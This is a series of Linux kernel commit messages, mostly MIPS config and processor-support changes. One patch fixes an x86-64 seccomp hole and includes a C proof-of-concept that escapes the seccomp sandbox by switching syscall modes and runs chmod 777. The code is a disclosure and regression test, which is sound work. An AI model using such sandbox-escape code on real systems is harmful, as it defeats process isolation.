Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

Signed-off-by: Zhang Le <r0bertz@gentoo.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

Enable following features:
* MTD (PHYSMAP)
* LED (LEDS_GPIO)
* RBTX4939
* 7SEGLED
* IDE (IDE_TX4938, IDE_TX4939)
* SMC91X
* RTC_DRV_TX4939

Signed-off-by: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

Current VR5500 processor support lacks of some functions which are
expected to be configured/synthesized on arch initialization.

Here're some VR5500A spec notes:

* All execution hazards are handled in hardware.

* Once VR5500A stops the operation of the pipeline by WAIT instruction,
  it could return from the standby mode only when either a reset, NMI
  request, or all enabled interrupts is/are detected.  In other words,
  if interrupts are disabled by Status.IE=0, it keeps in standby mode
  even when interrupts are internally asserted.

  Notes on WAIT: The operation of the processor is undefined if WAIT
  insn is in the branch delay slot.  The operation is also undefined
  if WAIT insn is executed when Status.EXL and Status.ERL are set to 1.

* VR5500A core only implements the Load prefetch.

With these changes, it boots fine.

Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

Signed-off-by: Xiaotian Feng <xiaotian.feng@windriver.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

This is a build fix required after "x86-64: seccomp: fix 32/64 syscall
hole" (commit 5b1017404aea6d2e552e991b3fd814d839e9cd67).  MIPS doesn't
have the issue that was fixed for x86-64 by that patch.

This also doesn't solve the N32 issue which is that N32 seccomp processes
will be treated as non-compat processes thus only have access to N64
syscalls.

Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

This reverts commit 558d1de8ba9ebb1cc3f3062f1371b9330772164f.

Thanks to David Daney helping with debugging and testing.

Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: David Daney <ddaney@caviumnetworks.com>